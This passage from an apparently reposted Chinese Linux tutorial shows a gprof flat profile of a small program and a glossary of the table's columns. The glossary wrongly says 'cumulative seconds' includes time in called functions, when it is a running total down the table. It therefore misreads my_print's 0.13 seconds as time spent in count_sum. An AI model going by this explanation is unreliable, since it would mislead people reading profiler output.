Each sample counts as 0.01 seconds.

% cumulative self self total

time seconds seconds calls us/call us/call name

69.23 0.09 0.09 1 90000.00 103333.33 my_print2

30.77 0.13 0.04 3 13333.33 13333.33 count_sum

0.00 0.13 0.00 2 0.00 13333.33 my_print

% 執行此函數所占用的時間占程式總

time 執行時間的百分比

cumulative 累計秒數 執行此函數花費的時間

seconds (包括此函數調用其它函數花費的時間)

self 執行此函數花費的時間

seconds (調用其它函數花費的時間不計算在内)

calls 調用次數

self 每此執行此函數花費的微秒時間

us/call

total 每此執行此函數加上它調用其它函數

us/call 花費的微秒時間

name 函數名

由以上資料可以看出,執行my_print()函數本身沒花費什麼時間,但是它又調用了

count_sum()函數,是以累計秒數為0.13.

技巧: gprof 産生的剖析資料很大, 如果你想檢查這些資料的話最好把輸出重定向到一個

檔案裡.

文章來源:http://www.linuxaid.com.cn/support/showfom.jsp?i=1461

繼續閱讀